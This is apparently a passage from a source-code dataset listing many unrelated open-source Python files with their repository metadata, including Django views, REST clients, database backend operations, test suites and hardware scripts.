assert board is... | 34.707317 | 44 | 0.650972 |
e35601bef436cf5df222c59d1a06b8defa070c0d | 14,300 | py | Python | code/python/ChartGenerationService/v1/fds/sdk/ChartGenerationService/rest.py | factset/enterprise-sdk | 3fd4d1360756c515c9737a0c9a992c7451d7de7e | [
"Apache-2.0"
] | 6 | 2022-02-07T16:34:18.000Z | 2022-03-30T08:04:57.000Z | code/python/ChartGenerationService/v1/fds/sdk/ChartGenerationService/rest.py | factset/enterprise-sdk | 3fd4d1360756c515c9737a0c9a992c7451d7de7e | [
"Apache-2.0"
] | 2 | 2022-02-07T05:25:57.000Z | 2022-03-07T14:18:04.000Z | code/python/ChartGenerationService/v1/fds/sdk/ChartGenerationService/rest.py | factset/enterprise-sdk | 3fd4d1360756c515c9737a0c9a992c7451d7de7e | [
"Apache-2.0"
] | null | null | null | """
Chart Generation Service
This is a service for generating charts in a node environment that were created using web charting and get back images in form of `PNGs` and `JPEGs` as response. # noqa: E501
The version of the OpenAPI document: 1.0.0
Generated by: https://openapi-generator.tech
"""
imp... | 41.210375 | 179 | 0.558252 |
dfdb981453044ee18396947737b47975e82720f7 | 4,905 | py | Python | authors/apps/rating/views.py | andela/ah-alpha | dbc038c9a11362a314c258a80c4a133d11ff1012 | [
"BSD-3-Clause"
] | 1 | 2019-03-18T08:24:37.000Z | 2019-03-18T08:24:37.000Z | authors/apps/rating/views.py | andela/ah-alpha | dbc038c9a11362a314c258a80c4a133d11ff1012 | [
"BSD-3-Clause"
] | 39 | 2019-01-08T12:12:57.000Z | 2022-03-11T23:39:18.000Z | authors/apps/rating/views.py | jamesbeamie/bolt-J | 1824afd73bfba708f0e56fbd7cbb8d7521f06a1a | [
"BSD-3-Clause"
] | 2 | 2019-02-04T08:36:44.000Z | 2019-03-05T19:59:44.000Z | from rest_framework.generics import (
GenericAPIView
)
from .models import Article, Rating
from rest_framework.permissions import (
IsAuthenticatedOrReadOnly,
IsAuthenticated
)
from rest_framework.exceptions import NotFound, ValidationError
from .serializers import RatingSerializer
from rest_framework.respo... | 32.919463 | 79 | 0.572477 |
999f0bb619cc0ed118f4cf42a176c821186963af | 119 | py | Python | exe025-procurandostringdentrodeoutra.py | carlosbandelli/Exercicios_em_Python | 2cd5bd837fdc51932f9605db32366ad0e3871d87 | [
"MIT"
] | null | null | null | exe025-procurandostringdentrodeoutra.py | carlosbandelli/Exercicios_em_Python | 2cd5bd837fdc51932f9605db32366ad0e3871d87 | [
"MIT"
] | null | null | null | exe025-procurandostringdentrodeoutra.py | carlosbandelli/Exercicios_em_Python | 2cd5bd837fdc51932f9605db32366ad0e3871d87 | [
"MIT"
] | null | null | null | nome = str(input('Qual é seu nome completo? ').strip())
print('Seu nome tem Silva? {}'.format('silva' in nome.lower())) | 59.5 | 63 | 0.663866 |
11aee998c6bbd8d395ed9ebf68ad1c9d97495b5b | 602 | py | Python | setup.py | messente/verigator-python | a1eb020785dc1474b8a74ff351b6f0c47b649e16 | [
"Apache-2.0"
] | null | null | null | setup.py | messente/verigator-python | a1eb020785dc1474b8a74ff351b6f0c47b649e16 | [
"Apache-2.0"
] | null | null | null | setup.py | messente/verigator-python | a1eb020785dc1474b8a74ff351b6f0c47b649e16 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
from setuptools import setup
setup(
name="verigator",
version="1.0.4",
packages=["messente.verigator"],
setup_requires=["requests==2.18.4"],
install_requires=["requests==2.18.4"],
tests_require=["requests-mock==1.3.0", "mock==2.0.0"],
author="Verigator.com",
aut... | 30.1 | 64 | 0.672757 |
d0c86b204a1c9f65ec53929727f95342d51f33e8 | 1,554 | py | Python | synapse/rest/admin/groups.py | littlebenlittle/synapse | 0eccf531466d762ede0dd365284a8465bfb18d0f | [
"Apache-2.0"
] | 1 | 2021-04-27T19:04:56.000Z | 2021-04-27T19:04:56.000Z | synapse/rest/admin/groups.py | littlebenlittle/synapse | 0eccf531466d762ede0dd365284a8465bfb18d0f | [
"Apache-2.0"
] | null | null | null | synapse/rest/admin/groups.py | littlebenlittle/synapse | 0eccf531466d762ede0dd365284a8465bfb18d0f | [
"Apache-2.0"
] | 1 | 2021-09-27T14:45:52.000Z | 2021-09-27T14:45:52.000Z | # -*- coding: utf-8 -*-
# Copyright 2019 The Matrix.org Foundation C.I.C.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless require... | 35.318182 | 82 | 0.729086 |
27e623bed9452b38cb8bb819cc1fd3cffac10b75 | 727 | py | Python | matplot/subplots.py | rodrigoc-silva/machine-learnig | bcd1be36b1217c20c29a98b7991aefc62faa79f9 | [
"MIT"
] | null | null | null | matplot/subplots.py | rodrigoc-silva/machine-learnig | bcd1be36b1217c20c29a98b7991aefc62faa79f9 | [
"MIT"
] | null | null | null | matplot/subplots.py | rodrigoc-silva/machine-learnig | bcd1be36b1217c20c29a98b7991aefc62faa79f9 | [
"MIT"
] | null | null | null |
import pandas as pd
from matplotlib import pyplot as plt
plt.style.use('seaborn')
data = pd.read_csv('data2.csv')
ages = data['Age']
dev_salaries = data['All_Devs']
py_salaries = data['Python']
js_salaries = data['JavaScript']
fig, (ax1, ax2) = plt.subplots(nrows=2, ncols=1, sharex=True)
# fig1, ax1 = plt.subplots(... | 22.71875 | 79 | 0.709766 |
44d81d496fe35f74cc9ae63d9c53a87e4fc1ab81 | 1,230 | py | Python | test/test_loss.py | petteriTeikari/crank-voiceconversion-wrapper | 8d34a76a8a4949cb1780a4770922f755dd04000c | [
"MIT"
] | null | null | null | test/test_loss.py | petteriTeikari/crank-voiceconversion-wrapper | 8d34a76a8a4949cb1780a4770922f755dd04000c | [
"MIT"
] | null | null | null | test/test_loss.py | petteriTeikari/crank-voiceconversion-wrapper | 8d34a76a8a4949cb1780a4770922f755dd04000c | [
"MIT"
] | null | null | null | #! /usr/local/bin/python
# -*- coding: utf-8 -*-
#
# test_loss.py
# First ver.: 2020-05-12
#
# Copyright 2020
# K. Kobayashi <root.4mac@gmail.com>
#
# Distributed under terms of the MIT license.
#
"""
"""
import torch
from crank.net.module.loss import (CustomFeatureLoss, MultiSizeSTFTLoss,
... | 22.363636 | 72 | 0.534146 |
d37b237042474d52fb56a405fab3c2158d129235 | 9,502 | py | Python | _build/jupyter_execute/notebooks/dp/11 Monetary Policy Model.py | randall-romero/CompEcon-python | c7a75f57f8472c972fddcace8ff7b86fee049d29 | [
"MIT"
] | 23 | 2016-12-14T13:21:27.000Z | 2020-08-23T21:04:34.000Z | _build/jupyter_execute/notebooks/dp/11 Monetary Policy Model.py | randall-romero/CompEcon | c7a75f57f8472c972fddcace8ff7b86fee049d29 | [
"MIT"
] | 1 | 2017-09-10T04:48:54.000Z | 2018-03-31T01:36:46.000Z | _build/jupyter_execute/notebooks/dp/11 Monetary Policy Model.py | randall-romero/CompEcon-python | c7a75f57f8472c972fddcace8ff7b86fee049d29 | [
"MIT"
] | 13 | 2017-02-25T08:10:38.000Z | 2020-05-15T09:49:16.000Z | #!/usr/bin/env python
# coding: utf-8
# # Monetary Policy Model
#
# **Randall Romero Aguilar, PhD**
#
# This demo is based on the original Matlab demo accompanying the <a href="https://mitpress.mit.edu/books/applied-computational-economics-and-finance">Computational Economics and Finance</a> 2001 textbook by Mario ... | 28.969512 | 345 | 0.651021 |
b572feb14b8f529842f9f322cf4f0a5b5e29ea7b | 10,928 | py | Python | InvenTree/build/test_build.py | Guusggg/InvenTree | fa163b88665b69de93fafd822faf1c1953cf4d87 | [
"MIT"
] | null | null | null | InvenTree/build/test_build.py | Guusggg/InvenTree | fa163b88665b69de93fafd822faf1c1953cf4d87 | [
"MIT"
] | null | null | null | InvenTree/build/test_build.py | Guusggg/InvenTree | fa163b88665b69de93fafd822faf1c1953cf4d87 | [
"MIT"
] | 1 | 2021-06-22T15:07:39.000Z | 2021-06-22T15:07:39.000Z | # -*- coding: utf-8 -*-
from django.test import TestCase
from django.core.exceptions import ValidationError
from django.db.utils import IntegrityError
from InvenTree import status_codes as status
from build.models import Build, BuildItem, get_next_build_number
from stock.models import StockItem
from part.models imp... | 29.219251 | 107 | 0.60313 |
d96c230351c968101397b97c67c293d8c8150ccb | 856 | py | Python | back-end/sistema_ng/pruebas/mutations.py | BonifacioJZ/sistema-ng | a0d9c5125528a75d723cded454546a815a18f0a7 | [
"MIT"
] | null | null | null | back-end/sistema_ng/pruebas/mutations.py | BonifacioJZ/sistema-ng | a0d9c5125528a75d723cded454546a815a18f0a7 | [
"MIT"
] | 9 | 2021-03-19T02:05:56.000Z | 2022-02-26T18:15:35.000Z | back-end/sistema_ng/pruebas/mutations.py | BonifacioJZ/sistema-ng | a0d9c5125528a75d723cded454546a815a18f0a7 | [
"MIT"
] | null | null | null | import graphene
from .queryM import (CreateUser,Login,CreatePaciente,CreateMedicine,
CreateExpediente,UpdatePaciennte,CreateNote,UpdateExpedient,
UpdateNoteExpedient,DeleteNoteExpedient, DeleteExpedient,
UpdateMedicine,DeleteMedicine)
class Mutation(graphene.ObjectType):
create_actor = CreateUser.Field()
login... | 42.8 | 68 | 0.795561 |
91564448c453f9b678f6e6835d012014db8d68a3 | 557 | py | Python | venv/Lib/site-packages/matplotlib/backends/backend_qt5.py | arnoyu-hub/COMP0016miemie | 59af664dcf190eab4f93cefb8471908717415fea | [
"MIT"
] | null | null | null | venv/Lib/site-packages/matplotlib/backends/backend_qt5.py | arnoyu-hub/COMP0016miemie | 59af664dcf190eab4f93cefb8471908717415fea | [
"MIT"
] | null | null | null | venv/Lib/site-packages/matplotlib/backends/backend_qt5.py | arnoyu-hub/COMP0016miemie | 59af664dcf190eab4f93cefb8471908717415fea | [
"MIT"
] | null | null | null | from .backend_qt import (
backend_version, SPECIAL_KEYS,
# Public API
cursord, _create_qApp, _BackendQT, TimerQT, MainWindow, FigureCanvasQT,
FigureManagerQT, ToolbarQt, NavigationToolbar2QT, SubplotToolQt,
SaveFigureQt, ConfigureSubplotsQt, SetCursorQt, RubberbandQt,
HelpQt, ToolCopyToCli... | 32.764706 | 76 | 0.755835 |
a0d8c2fbd36cb5161bc09f53556ff7f65b2a9bd0 | 897 | py | Python | team_9/cocos/test/test_scaleby.py | Donnyvdm/dojo19 | 3cf043a84e3ad6d3c4d59cd9c50b160e1ff03400 | [
"BSD-3-Clause"
] | 1 | 2019-09-15T18:59:49.000Z | 2019-09-15T18:59:49.000Z | team_9/cocos/test/test_scaleby.py | Donnyvdm/dojo19 | 3cf043a84e3ad6d3c4d59cd9c50b160e1ff03400 | [
"BSD-3-Clause"
] | null | null | null | team_9/cocos/test/test_scaleby.py | Donnyvdm/dojo19 | 3cf043a84e3ad6d3c4d59cd9c50b160e1ff03400 | [
"BSD-3-Clause"
] | null | null | null | from __future__ import division, print_function, unicode_literals
# This code is so you can run the samples without installing the package
import sys
import os
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))
#
testinfo = "t 0.1, s, t 1, s, t 2.1, s, q"
tags = "ScaleBy"
import cocos
from cocos.direc... | 24.916667 | 73 | 0.6767 |
cac6e735a8191af32c2170ea10c44a646aba975e | 19,728 | py | Python | homeassistant/components/fritz/switch.py | MrDelik/core | 93a66cc357b226389967668441000498a10453bb | [
"Apache-2.0"
] | 3 | 2021-11-22T22:37:43.000Z | 2022-03-17T00:55:28.000Z | homeassistant/components/fritz/switch.py | MrDelik/core | 93a66cc357b226389967668441000498a10453bb | [
"Apache-2.0"
] | 1,016 | 2019-06-18T21:27:47.000Z | 2020-03-06T11:09:58.000Z | homeassistant/components/fritz/switch.py | MrDelik/core | 93a66cc357b226389967668441000498a10453bb | [
"Apache-2.0"
] | 3 | 2022-01-02T18:49:54.000Z | 2022-01-25T02:03:54.000Z | """Switches for AVM Fritz!Box functions."""
from __future__ import annotations
import logging
from typing import Any
import xmltodict
from homeassistant.components.network import async_get_source_ip
from homeassistant.components.switch import SwitchEntity
from homeassistant.config_entries import ConfigEntry
from hom... | 33.838765 | 322 | 0.652372 |
3121125d0795c22780c7be0c12107d22d73545d3 | 3,623 | py | Python | src/oci/database_tools/models/database_tools_key_store_password_summary.py | LaudateCorpus1/oci-python-sdk | b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | src/oci/database_tools/models/database_tools_key_store_password_summary.py | LaudateCorpus1/oci-python-sdk | b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | src/oci/database_tools/models/database_tools_key_store_password_summary.py | LaudateCorpus1/oci-python-sdk | b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | # coding: utf-8
# Copyright (c) 2016, 2022, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may c... | 36.23 | 245 | 0.687 |
81fedb424577397baee6353db2cc551b902660b4 | 3,077 | py | Python | src/hammer-vlsi/technology/sky130/extra/sky130-tech-gen.py | httpsgithu/hammer | 6099f4169a49f71cee2e24bb1052f273039505cd | [
"BSD-3-Clause"
] | 138 | 2017-08-15T18:56:55.000Z | 2022-03-29T05:23:37.000Z | src/hammer-vlsi/technology/sky130/extra/sky130-tech-gen.py | httpsgithu/hammer | 6099f4169a49f71cee2e24bb1052f273039505cd | [
"BSD-3-Clause"
] | 444 | 2017-09-11T01:15:37.000Z | 2022-03-31T17:30:33.000Z | src/hammer-vlsi/technology/sky130/extra/sky130-tech-gen.py | httpsgithu/hammer | 6099f4169a49f71cee2e24bb1052f273039505cd | [
"BSD-3-Clause"
] | 33 | 2017-10-30T14:23:53.000Z | 2022-03-25T01:36:13.000Z | '''
Purpose: generate the json file required by the Hammer Sky130 tech plugin
Usage:
export PDK_ROOT=<path-to-dir-containing-sky130-setup>
python sky130-tech-gen.py
Output:
sky130.tech.json: specifies Sky130 PDK file locations and various details
'''
import json
import os
from pathl... | 32.734043 | 119 | 0.620409 |
291e6d9e92986f5444e20f52bfcfd56b0c935484 | 1,879 | py | Python | distance_sensor.py | stephen-allison/pibot | f5128ca5268ab1b29909c7245867646c6c18edbc | [
"CC0-1.0"
] | null | null | null | distance_sensor.py | stephen-allison/pibot | f5128ca5268ab1b29909c7245867646c6c18edbc | [
"CC0-1.0"
] | null | null | null | distance_sensor.py | stephen-allison/pibot | f5128ca5268ab1b29909c7245867646c6c18edbc | [
"CC0-1.0"
] | null | null | null | import RPi.GPIO as GPIO
import time
def measureDistance():
# Set trigger to False (Low)
GPIO.output(pinTrigger, False)
# Allow module to settle
time.sleep(0.5)
# Send 10us pulse to trigger
GPIO.output(pinTrigger, True)
time.sleep(0.00001)
GPIO.output(pinTrigger, False)
# Start the ... | 29.825397 | 156 | 0.633316 |
71cc1854d554f041e32d14dda564b549ee70fa0a | 5,225 | py | Python | lib/rucio/daemons/abacus/account.py | llwang00/rucio | f49c5c9599e147823110dc6da22a0bc33a881f8e | [
"Apache-2.0"
] | 1 | 2019-03-15T19:29:35.000Z | 2019-03-15T19:29:35.000Z | lib/rucio/daemons/abacus/account.py | llwang00/rucio | f49c5c9599e147823110dc6da22a0bc33a881f8e | [
"Apache-2.0"
] | 58 | 2020-04-14T09:04:04.000Z | 2021-07-13T15:12:59.000Z | lib/rucio/daemons/abacus/account.py | llwang00/rucio | f49c5c9599e147823110dc6da22a0bc33a881f8e | [
"Apache-2.0"
] | 1 | 2020-03-02T17:18:14.000Z | 2020-03-02T17:18:14.000Z | # -*- coding: utf-8 -*-
# Copyright 2014-2020 CERN
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | 38.992537 | 229 | 0.664306 |
fa29a8925ac91dbf3a54e39424f6e7500d1afc20 | 24,223 | py | Python | django/db/backends/oracle/operations.py | sergeykolosov/django | 03049fb8d96ccd1f1ed0285486103542de42faba | [
"PSF-2.0",
"BSD-3-Clause"
] | null | null | null | django/db/backends/oracle/operations.py | sergeykolosov/django | 03049fb8d96ccd1f1ed0285486103542de42faba | [
"PSF-2.0",
"BSD-3-Clause"
] | null | null | null | django/db/backends/oracle/operations.py | sergeykolosov/django | 03049fb8d96ccd1f1ed0285486103542de42faba | [
"PSF-2.0",
"BSD-3-Clause"
] | 1 | 2021-05-10T10:16:03.000Z | 2021-05-10T10:16:03.000Z | import datetime
import re
import uuid
from django.conf import settings
from django.db.backends.base.operations import BaseDatabaseOperations
from django.db.backends.utils import strip_quotes, truncate_name
from django.utils import timezone
from django.utils.encoding import force_bytes
from .base import Database
from ... | 42.496491 | 114 | 0.604467 |
83d5dfd794584f53604636f4890915dd10f0932b | 700 | py | Python | ocean/{{projectNameShort}}/{{projectNameShort}}/parallel.py | surfstudio/ocean | 99c036c7cbcd4f0fe496bb72acdc54db8adb637a | [
"MIT"
] | 17 | 2019-07-09T12:46:17.000Z | 2021-05-24T08:24:27.000Z | ocean/{{projectNameShort}}/{{projectNameShort}}/parallel.py | EnlightenedCSF/Ocean | 99c036c7cbcd4f0fe496bb72acdc54db8adb637a | [
"MIT"
] | 2 | 2019-07-11T09:06:49.000Z | 2019-07-11T09:33:38.000Z | ocean/{{projectNameShort}}/{{projectNameShort}}/parallel.py | EnlightenedCSF/Ocean | 99c036c7cbcd4f0fe496bb72acdc54db8adb637a | [
"MIT"
] | 4 | 2019-07-25T07:43:56.000Z | 2020-02-18T19:32:57.000Z | from multiprocessing import Pool, cpu_count
import numpy as np
def parallelize(data, func, n_threads: int = None) -> np.array:
"""
**Applies function to an array in multithreads**
:param data: np.array or pd.Series of data.
:param func: function to apply on batches. Input param of the fun... | 30.434783 | 91 | 0.654286 |
80b79420810409c42bf80ae0dbea638ae9434297 | 4,276 | py | Python | delfin/drivers/utils/rest_client.py | niteesh1215/delfin | 89cb0e9ee2b673dcca09e1d4754c45eef3fa46a0 | [
"Apache-2.0"
] | 1 | 2021-12-14T06:42:00.000Z | 2021-12-14T06:42:00.000Z | delfin/drivers/utils/rest_client.py | niteesh1215/delfin | 89cb0e9ee2b673dcca09e1d4754c45eef3fa46a0 | [
"Apache-2.0"
] | null | null | null | delfin/drivers/utils/rest_client.py | niteesh1215/delfin | 89cb0e9ee2b673dcca09e1d4754c45eef3fa46a0 | [
"Apache-2.0"
] | null | null | null | # Copyright 2020 The SODA Authors.
# Copyright (c) 2016 Huawei Technologies Co., Ltd.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.ap... | 37.840708 | 78 | 0.605239 |
3c7d9b078f6d5942f2304e245df84aa5785a5ced | 840 | py | Python | test/news_test.py | hu00xp/tushare | 3bd28bad1a3445ac5f9fe2b0d1647dbd3114ed28 | [
"BSD-3-Clause"
] | 20 | 2017-11-23T12:18:28.000Z | 2021-03-15T15:15:56.000Z | test/news_test.py | boblee2000/tushare | 3bd28bad1a3445ac5f9fe2b0d1647dbd3114ed28 | [
"BSD-3-Clause"
] | 1 | 2021-12-13T20:52:05.000Z | 2021-12-13T20:52:05.000Z | test/news_test.py | boblee2000/tushare | 3bd28bad1a3445ac5f9fe2b0d1647dbd3114ed28 | [
"BSD-3-Clause"
] | 12 | 2017-11-21T01:39:47.000Z | 2021-03-15T15:15:57.000Z | # -*- coding:utf-8 -*-
'''
Created on 2015/3/14
@author: Jimmy Liu
'''
import unittest
import tushare.stock.newsevent as fd
class Test(unittest.TestCase):
def set_data(self):
self.code = '600848'
self.start = '2015-01-03'
self.end = '2015-04-07'
self.year = 2014
self.quart... | 24 | 63 | 0.583333 |
43ebbbeb3e772cce8ecc0fb4c6b7945acfc42285 | 1,924 | py | Python | src/eyeson/translators.py | sapporojones/eyeson | 129c3bda4c0bdf562aab4d8072a20c667ff9b4b3 | [
"MIT"
] | null | null | null | src/eyeson/translators.py | sapporojones/eyeson | 129c3bda4c0bdf562aab4d8072a20c667ff9b4b3 | [
"MIT"
] | 43 | 2021-06-30T22:27:15.000Z | 2022-03-16T23:14:28.000Z | src/eyeson/translators.py | sapporojones/eyeson | 129c3bda4c0bdf562aab4d8072a20c667ff9b4b3 | [
"MIT"
] | null | null | null | import argparse
import calendar
import datetime
import time
import requests
import json
from rich.console import Console
from rich.table import Table
def timestamper(timestamp):
"""
Converts timestamps from json to NhNmNs output in a formatted string
:param timestamp: formatted like "2021-06-04T01:25:26Z... | 29.6 | 108 | 0.691788 |
b764fbaf4278631741084a2f89b346ec441fd498 | 4,706 | py | Python | gitlab-ci/src/artifacts/collector.py | ninegua/ic | fb3fe3ff87ce413a79f267ece80ae78f0f8b00fd | [
"Apache-2.0"
] | 1 | 2021-11-19T18:45:44.000Z | 2021-11-19T18:45:44.000Z | gitlab-ci/src/artifacts/collector.py | ninegua/ic | fb3fe3ff87ce413a79f267ece80ae78f0f8b00fd | [
"Apache-2.0"
] | null | null | null | gitlab-ci/src/artifacts/collector.py | ninegua/ic | fb3fe3ff87ce413a79f267ece80ae78f0f8b00fd | [
"Apache-2.0"
] | null | null | null | import logging
import multiprocessing
import os
import shutil
import tempfile
from os import path
from typing import List
from ci import cwd
from ci import ENV
from ci import log_section
from ci import mkdir_p
from ci import sh
def local(v: str) -> str:
return path.join(ENV.top, "gitlab-ci/src/artifacts", v)
R... | 29.229814 | 192 | 0.584573 |
65187487fcc85c0e9032767e449d623afafd0d1a | 4,646 | py | Python | install/ambari-installer/traf-mpack/common-services/TRAFODION/2.1/package/scripts/params.py | anoopsharma00/incubator-trafodion | b109e2cf5883f8e763af853ab6fad7ce7110d9e8 | [
"Apache-2.0"
] | null | null | null | install/ambari-installer/traf-mpack/common-services/TRAFODION/2.1/package/scripts/params.py | anoopsharma00/incubator-trafodion | b109e2cf5883f8e763af853ab6fad7ce7110d9e8 | [
"Apache-2.0"
] | null | null | null | install/ambari-installer/traf-mpack/common-services/TRAFODION/2.1/package/scripts/params.py | anoopsharma00/incubator-trafodion | b109e2cf5883f8e763af853ab6fad7ce7110d9e8 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# @@@ START COPYRIGHT @@@
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache Lic... | 45.54902 | 114 | 0.759793 |
5ae36b07fe2ff64762983b3ebf9523d62de9d6a2 | 21,076 | py | Python | tests/test_handlers.py | p1-gdd/django-axes | 813a8518bc7306988492fdafdf38c0cd887f1129 | [
"MIT"
] | null | null | null | tests/test_handlers.py | p1-gdd/django-axes | 813a8518bc7306988492fdafdf38c0cd887f1129 | [
"MIT"
] | 3 | 2022-03-15T12:29:15.000Z | 2022-03-25T12:29:41.000Z | tests/test_handlers.py | p1-gdd/django-axes | 813a8518bc7306988492fdafdf38c0cd887f1129 | [
"MIT"
] | null | null | null | from platform import python_implementation
from unittest.mock import MagicMock, patch
from pytest import mark
from django.core.cache import cache
from django.test import override_settings
from django.urls import reverse
from django.utils import timezone
from django.utils.timezone import timedelta
from axes.conf impo... | 39.394393 | 108 | 0.683479 |
2cc992f4dc4434d16972c388781f01b472cb8ace | 603 | py | Python | sympy/core/tests/test_compatibility.py | cap11235/sympy | 6f68fa186dc9e80cdafddb1e4d72f49684286cda | [
"BSD-3-Clause"
] | 26 | 2018-02-14T23:52:58.000Z | 2021-08-16T13:50:03.000Z | sympy/core/tests/test_compatibility.py | shashank-agg/sympy | ecf69893c0b9927ea7192113b2421d639aee6ffb | [
"BSD-3-Clause"
] | null | null | null | sympy/core/tests/test_compatibility.py | shashank-agg/sympy | ecf69893c0b9927ea7192113b2421d639aee6ffb | [
"BSD-3-Clause"
] | 10 | 2018-08-13T19:38:39.000Z | 2020-04-19T03:02:00.000Z | from sympy.core.compatibility import default_sort_key, as_int, ordered
from sympy.core.singleton import S
from sympy.utilities.pytest import raises
from sympy.abc import x
def test_default_sort_key():
func = lambda x: x
assert sorted([func, x, func], key=default_sort_key) == [func, func, x]
def test_as_int... | 27.409091 | 75 | 0.661692 |
daf1046912bc8b489d93bba1aca4b5e4ff2bc450 | 5,376 | py | Python | tools/demo_detect.py | bkhti4/DDRNet.pytorch | d3c56f45ce36d9f16fedaa44c68dcd4e627f04ad | [
"MIT"
] | null | null | null | tools/demo_detect.py | bkhti4/DDRNet.pytorch | d3c56f45ce36d9f16fedaa44c68dcd4e627f04ad | [
"MIT"
] | null | null | null | tools/demo_detect.py | bkhti4/DDRNet.pytorch | d3c56f45ce36d9f16fedaa44c68dcd4e627f04ad | [
"MIT"
] | null | null | null | import argparse
import os
import pprint
import shutil
import sys
import cv2
import logging
import time
import timeit
from pathlib import Path
import numpy as np
import torch
import torch.nn as nn
import torch.backends.cudnn as cudnn
from torch.nn import functional as F
import _init_paths
import models
from config i... | 31.075145 | 135 | 0.614955 |
3fac3a14203b6410dff0fb8df0083bd633c083c6 | 7,487 | py | Python | src/classification/svm.py | ShNadi/study_motivation | cff7c3995e69ce2d91d0a2753b57d8089df3cad2 | [
"MIT"
] | null | null | null | src/classification/svm.py | ShNadi/study_motivation | cff7c3995e69ce2d91d0a2753b57d8089df3cad2 | [
"MIT"
] | null | null | null | src/classification/svm.py | ShNadi/study_motivation | cff7c3995e69ce2d91d0a2753b57d8089df3cad2 | [
"MIT"
] | null | null | null | # Last update 25-07-2021
# Remove reenrolled from the list of features
# change the target variable from bsa_dummy to reenrolled
# add df['program'] to the list of features
import pandas as pd
from sklearn.compose import ColumnTransformer
from sklearn.preprocessing import PolynomialFeatures
from sklearn.svm import SV... | 46.216049 | 119 | 0.59423 |
501015b220df0ca6cbc83ab68ce433831afa7599 | 7,123 | py | Python | kubernetes/client/models/v1_pod.py | jraby/kubernetes-client-python | e6e7b710d0b15fbde686bc9dccf00da5951bef84 | [
"Apache-2.0"
] | null | null | null | kubernetes/client/models/v1_pod.py | jraby/kubernetes-client-python | e6e7b710d0b15fbde686bc9dccf00da5951bef84 | [
"Apache-2.0"
] | null | null | null | kubernetes/client/models/v1_pod.py | jraby/kubernetes-client-python | e6e7b710d0b15fbde686bc9dccf00da5951bef84 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.7.1
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re
... | 32.085586 | 281 | 0.600168 |
fc2314548f4242789ede650a0fea27dbacac7377 | 1,753 | py | Python | config/settings/test.py | badri/openshift-demo | 261240727df6363507511b1d3f9706943e463bf7 | [
"MIT"
] | null | null | null | config/settings/test.py | badri/openshift-demo | 261240727df6363507511b1d3f9706943e463bf7 | [
"MIT"
] | null | null | null | config/settings/test.py | badri/openshift-demo | 261240727df6363507511b1d3f9706943e463bf7 | [
"MIT"
] | null | null | null | """
With these settings, tests run faster.
"""
from .base import * # noqa
from .base import env
# GENERAL
# ------------------------------------------------------------------------------
# https://docs.djangoproject.com/en/dev/ref/settings/#debug
DEBUG = False
# https://docs.djangoproject.com/en/dev/ref/settings/#se... | 32.462963 | 80 | 0.50656 |
ce803ba0760ec17422556dbfafd6254aadbdf5a5 | 4,319 | py | Python | indexing_filtering.py | Nishant-Mishra/python-pandas-fundamentals | e10c979d9e684a5fb1a54fa7430266052e8388f2 | [
"MIT"
] | null | null | null | indexing_filtering.py | Nishant-Mishra/python-pandas-fundamentals | e10c979d9e684a5fb1a54fa7430266052e8388f2 | [
"MIT"
] | null | null | null | indexing_filtering.py | Nishant-Mishra/python-pandas-fundamentals | e10c979d9e684a5fb1a54fa7430266052e8388f2 | [
"MIT"
] | null | null | null | """
Using the previous dataset, we will try to answer following questions:
1. Number of distinct artists
2. How many artworks by 'Robert Blake'
3. Artwork with biggest area
----
4. Oldest Acquired Artwork
5. Total number of artworks created using Acrylic or Oil paints.
6. Total artworks ... | 33.48062 | 101 | 0.69831 |
6463ba3a24c9bf3655f50908360dd5bc6f1e6836 | 274 | py | Python | simple_one/pandas_play.py | rodonguyen/vres_code_2021 | cb49d941db4dfc5137e887b195f403fb4262cfd8 | [
"MIT"
] | null | null | null | simple_one/pandas_play.py | rodonguyen/vres_code_2021 | cb49d941db4dfc5137e887b195f403fb4262cfd8 | [
"MIT"
] | null | null | null | simple_one/pandas_play.py | rodonguyen/vres_code_2021 | cb49d941db4dfc5137e887b195f403fb4262cfd8 | [
"MIT"
] | null | null | null | import pandas as pd
df = pd.DataFrame({
"A": 1.0,
"B": pd.Timestamp("20130102"),
"C": pd.Series(1, index=list(range(4)), dtype="float32"),
"E": pd.Categorical(["test", "train", "test", "train"]),
"F": "foo",
})
print(df.head(1)) | 24.909091 | 65 | 0.5 |
cc78c0333e369487410e5890b5db7ffab513a644 | 40,003 | py | Python | custom_model_runner/datarobot_drum/drum/args_parser.py | amperie/user-models | 5236c50d0f20a7bac81acc5d1936a3502de2f5f3 | [
"Apache-2.0"
] | null | null | null | custom_model_runner/datarobot_drum/drum/args_parser.py | amperie/user-models | 5236c50d0f20a7bac81acc5d1936a3502de2f5f3 | [
"Apache-2.0"
] | null | null | null | custom_model_runner/datarobot_drum/drum/args_parser.py | amperie/user-models | 5236c50d0f20a7bac81acc5d1936a3502de2f5f3 | [
"Apache-2.0"
] | null | null | null | import argparse
import os
from datarobot_drum.drum.push import PUSH_HELP_TEXT
import sys
import subprocess
from datarobot_drum.drum.description import version
